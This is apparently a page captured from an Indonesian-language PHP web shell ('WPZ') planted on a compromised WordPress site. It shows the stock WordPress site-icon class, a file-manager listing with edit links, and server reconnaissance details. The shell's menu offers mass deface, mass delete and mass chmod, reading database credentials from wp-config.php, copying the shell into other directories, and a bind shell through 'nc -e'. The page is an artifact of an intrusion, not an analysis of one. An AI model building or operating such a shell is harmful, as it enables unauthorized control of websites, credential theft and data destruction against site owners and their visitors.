WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-admin/includes/class-wp-site-icon.php (6.34 KB)
<?php
/**
 * Administration API: WP_Site_Icon class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

/**
 * Core class used to implement site icon functionality.
 *
 * @since 4.3.0
 */
#[AllowDynamicProperties]
class WP_Site_Icon {

	/**
	 * The minimum size of the site icon.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $min_size = 512;

	/**
	 * The size to which to crop the image so that we can display it in the UI nicely.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $page_crop = 512;

	/**
	 * List of site icon sizes.
	 *
	 * @since 4.3.0
	 * @var int[]
	 */
	public $site_icon_sizes = array(
		/*
		 * Square, medium sized tiles for IE11+.
		 *
		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
		 */
		270,

		/*
		 * App icon for Android/Chrome.
		 *
		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
		 */
		192,

		/*
		 * App icons up to iPhone 6 Plus.
		 *
		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
		 */
		180,

		// High-density (2x) site icon for the admin bar and post embeds.
		64,

		// Our regular Favicon.
		32,
	);

	/**
	 * Registers actions and filters.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 4.3.0
	 * @deprecated 6.5.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	public function create_attachment_object( $cropped, $parent_attachment_id ) {
		_deprecated_function( __METHOD__, '6.5.0', 'wp_copy_parent_attachment_properties()' );

		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_content'   => $url,
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'site-icon',
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment.
	 *
	 * @since 4.3.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $file       File path of the attached image.
	 * @return int               Attachment ID.
	 */
	public function insert_attachment( $attachment, $file ) {
		$attachment_id = wp_insert_attachment( $attachment, $file );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );

		/**
		 * Filters the site icon attachment metadata.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Adds additional sizes to be made when creating the site icon images.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $sizes Array of arrays containing information for additional sizes.
	 * @return array[] Array of arrays containing additional image sizes.
	 */
	public function additional_sizes( $sizes = array() ) {
		$only_crop_sizes = array();

		/**
		 * Filters the different dimensions that a site icon is saved in.
		 *
		 * @since 4.3.0
		 *
		 * @param int[] $site_icon_sizes Array of sizes available for the Site Icon.
		 */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );

		// Use a natural sort of numbers.
		natsort( $this->site_icon_sizes );
		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );

		// Ensure that we only resize the image into sizes that allow cropping.
		foreach ( $sizes as $name => $size_array ) {
			if ( isset( $size_array['crop'] ) ) {
				$only_crop_sizes[ $name ] = $size_array;
			}
		}

		foreach ( $this->site_icon_sizes as $size ) {
			if ( $size < $this->min_size ) {
				$only_crop_sizes[ 'site_icon-' . $size ] = array(
					'width ' => $size,
					'height' => $size,
					'crop'   => true,
				);
			}
		}

		return $only_crop_sizes;
	}

	/**
	 * Adds Site Icon sizes to the array of image sizes on demand.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $sizes Array of image size names.
	 * @return string[] Array of image size names.
	 */
	public function intermediate_image_sizes( $sizes = array() ) {
		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
		foreach ( $this->site_icon_sizes as $size ) {
			$sizes[] = 'site_icon-' . $size;
		}

		return $sizes;
	}

	/**
	 * Deletes the Site Icon when the image file is deleted.
	 *
	 * @since 4.3.0
	 *
	 * @param int $post_id Attachment ID.
	 */
	public function delete_attachment_data( $post_id ) {
		$site_icon_id = (int) get_option( 'site_icon' );

		if ( $site_icon_id && $post_id === $site_icon_id ) {
			delete_option( 'site_icon' );
		}
	}

	/**
	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
	 *
	 * @since 4.3.0
	 *
	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
	 *                                    array of values.
	 * @param int               $post_id  Post ID.
	 * @param string            $meta_key Meta key.
	 * @param bool              $single   Whether to return only the first value of the specified `$meta_key`.
	 * @return array|null|string The attachment metadata value, array of values, or null.
	 */
	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
			$site_icon_id = (int) get_option( 'site_icon' );

			if ( $post_id === $site_icon_id ) {
				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
			}
		}

		return $value;
	}
}
namawaktuukuranownerpermaksi
..
admin-filters.php 2026-10-22 10:477.85 KB 76129f60960:kunden-xw-x--x--
edt
admin.php 2023-02-04 23:483.54 KB 76129f60960:kunden-xw-x-----
edt
ajax-actions.php 2026-11-19 21:55150.61 KB 76129f60960:kunden-xw-x--x--
edt
bookmark.php 2026-10-22 10:4711.4 KB 76129f60960:kunden-xw-x--x--
edt
class-automatic-upgrader-skin.php 2023-09-21 23:243.58 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-plugin-upgrader-skin.php 2024-08-09 01:012.53 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-theme-upgrader-skin.php 2024-08-09 01:012.6 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-upgrader-skin.php 2026-10-22 10:476.5 KB 76129f60960:kunden-xw-x--x--
edt
class-core-upgrader.php 2026-10-22 10:4714.84 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-background.php 2026-10-22 10:4721.24 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-image-header.php 2026-10-22 10:4748.32 KB 76129f60960:kunden-xw-x--x--
edt
class-file-upload-upgrader.php 2024-08-09 01:014.07 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-pure.php 2021-01-14 01:345.3 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-sockets.php 2023-02-04 23:488.28 KB 76129f60960:kunden-xw-x-----
edt
class-ftp.php 2026-10-22 10:4726.7 KB 76129f60960:kunden-xw-x--x--
edt
class-language-pack-upgrader-skin.php 2024-08-09 01:012.8 KB 76129f60960:kunden-xw-x-----
edt
class-language-pack-upgrader.php 2026-10-22 10:4715.16 KB 76129f60960:kunden-xw-x--x--
edt
class-pclzip.php 2026-10-22 10:47192.06 KB 76129f60960:kunden-xw-x--x--
edt
class-plugin-installer-skin.php 2026-10-22 10:4711.67 KB 76129f60960:kunden-xw-x--x--
edt
class-plugin-upgrader-skin.php 2023-09-21 23:243.2 KB 76129f60960:kunden-xw-x-----
edt
class-plugin-upgrader.php 2026-10-22 10:4722.7 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-installer-skin.php 2026-10-22 10:4712.67 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-upgrader-skin.php 2024-08-09 01:014.08 KB 76129f60960:kunden-xw-x-----
edt
class-theme-upgrader.php 2026-10-22 10:4726.16 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-category-checklist.php 2026-10-22 10:474.97 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-checklist.php 2026-10-22 10:475.65 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-edit.php 2026-10-22 10:4713.96 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ajax-upgrader-skin.php 2023-09-21 23:244.09 KB 76129f60960:kunden-xw-x-----
edt
class-wp-application-passwords-list-table.php 2024-08-09 01:016.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-automatic-updater.php 2026-10-22 10:4760.45 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-comments-list-table.php 2026-10-22 10:4733.81 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-community-events.php 2026-10-22 10:4718.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-debug-data.php 2026-10-22 10:4769.38 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-base.php 2026-10-22 10:4725.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-direct.php 2026-10-22 10:4718.72 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpext.php 2026-10-22 10:4724.34 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpsockets.php 2026-10-22 10:4719.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ssh2.php 2026-10-22 10:4725.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-importer.php 2026-10-22 10:478.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-internal-pointers.php 2026-10-22 10:474.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-links-list-table.php 2026-10-22 10:479.87 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-list-table-compat.php 2021-01-14 01:341.46 KB 76129f60960:kunden-xw-x-----
edt
class-wp-list-table.php 2026-10-22 10:4753.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-media-list-table.php 2026-10-22 10:4727.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-sites-list-table.php 2026-10-22 10:4723.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-themes-list-table.php 2026-10-22 10:4729.56 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-users-list-table.php 2026-11-19 21:5515.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugin-install-list-table.php 2026-10-22 10:4724.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugins-list-table.php 2026-10-22 10:4760.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post-comments-list-table.php 2023-02-04 23:481.42 KB 76129f60960:kunden-xw-x-----
edt
class-wp-posts-list-table.php 2026-10-22 10:4766.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-export-requests-list-table.php 2026-11-19 21:555.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-removal-requests-list-table.php 2026-11-19 21:556.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-policy-content.php 2026-10-22 10:4732.25 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-requests-table.php 2026-11-19 21:5514.48 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-screen.php 2026-10-22 10:4736.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-health-auto-updates.php 2026-10-22 10:4714 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-health.php 2026-10-22 10:47128.09 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-icon.php 2026-10-22 10:476.34 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-terms-list-table.php 2026-10-22 10:4721.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-install-list-table.php 2026-10-22 10:4715.33 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-themes-list-table.php 2026-10-22 10:4710.1 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skin.php 2026-10-22 10:476.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skins.php 2019-12-30 22:061.44 KB 76129f60960:kunden-xw-x-----
edt
class-wp-upgrader.php 2026-11-19 21:5548.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-users-list-table.php 2026-11-19 21:5518.97 KB 76129f60960:kunden-xw-x--x--
edt
comment.php 2026-11-19 21:5512.74 KB 76129f60960:kunden-xw-x--x--
edt
continents-cities.php 2023-02-04 23:4820.06 KB 76129f60960:kunden-xw-x-----
edt
credits.php 2026-10-22 10:475.7 KB 76129f60960:kunden-xw-x--x--
edt
dashboard.php 2026-10-22 10:4768.96 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-10-22 10:4740.98 KB 76129f60960:kunden-xw-x--x--
edt
edit-tag-messages.php 2023-02-04 23:481.44 KB 76129f60960:kunden-xw-x-----
edt
export.php 2026-10-22 10:4725.86 KB 76129f60960:kunden-xw-x--x--
edt
file.php 2026-10-22 10:4796.12 KB 76129f60960:kunden-xw-x--x--
edt
image-edit.php 2026-10-22 10:4743.11 KB 76129f60960:kunden-xw-x--x--
edt
image.php 2026-10-22 10:4744.25 KB 76129f60960:kunden-xw-x--x--
edt
import.php 2026-10-22 10:476.46 KB 76129f60960:kunden-xw-x--x--
edt
list-table.php 2023-02-04 23:483.71 KB 76129f60960:kunden-xw-x-----
edt
media.php 2026-10-22 10:47117.42 KB 76129f60960:kunden-xw-x--x--
edt
menu.php 2026-10-22 10:479.41 KB 76129f60960:kunden-xw-x--x--
edt
meta-boxes.php 2026-10-22 10:4765.29 KB 76129f60960:kunden-xw-x--x--
edt
misc.php 2026-10-22 10:4745.35 KB 76129f60960:kunden-xw-x--x--
edt
ms-admin-filters.php 2023-02-04 23:481.27 KB 76129f60960:kunden-xw-x-----
edt
ms-deprecated.php 2023-02-04 23:483.68 KB 76129f60960:kunden-xw-x-----
edt
ms.php 2026-11-19 21:5535.21 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.php 2026-10-22 10:4747.98 KB 76129f60960:kunden-xw-x--x--
edt
network.php 2026-10-22 10:4726.4 KB 76129f60960:kunden-xw-x--x--
edt
noop.php 2024-01-20 23:471.12 KB 76129f60960:kunden-xw-x-----
edt
options.php 2026-10-22 10:474.2 KB 76129f60960:kunden-xw-x--x--
edt
plugin-install.php 2026-10-22 10:4738.27 KB 76129f60960:kunden-xw-x--x--
edt
plugin.php 2026-10-22 10:4791.49 KB 76129f60960:kunden-xw-x--x--
edt
post.php 2026-10-22 10:4780.9 KB 76129f60960:kunden-xw-x--x--
edt
privacy-tools.php 2026-10-22 10:4732.94 KB 76129f60960:kunden-xw-x--x--
edt
revision.php 2026-10-22 10:4716.24 KB 76129f60960:kunden-xw-x--x--
edt
schema.php 2026-10-22 10:4744.51 KB 76129f60960:kunden-xw-x--x--
edt
screen.php 2026-10-22 10:476.24 KB 76129f60960:kunden-xw-x--x--
edt
taxonomy.php 2026-10-22 10:478.28 KB 76129f60960:kunden-xw-x--x--
edt
template.php 2026-10-22 10:4797.49 KB 76129f60960:kunden-xw-x--x--
edt
theme-install.php 2026-10-22 10:476.85 KB 76129f60960:kunden-xw-x--x--
edt
theme.php 2026-10-22 10:4746.42 KB 76129f60960:kunden-xw-x--x--
edt
translation-install.php 2026-10-22 10:4710.79 KB 76129f60960:kunden-xw-x--x--
edt
update-core.php 2026-11-19 22:4784.23 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-10-22 10:4734.01 KB 76129f60960:kunden-xw-x--x--
edt
upgrade.php 2026-10-22 10:47113.94 KB 76129f60960:kunden-xw-x--x--
edt
user.php 2026-10-22 10:4723.35 KB 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-10-22 10:4710.3 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-admin/includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK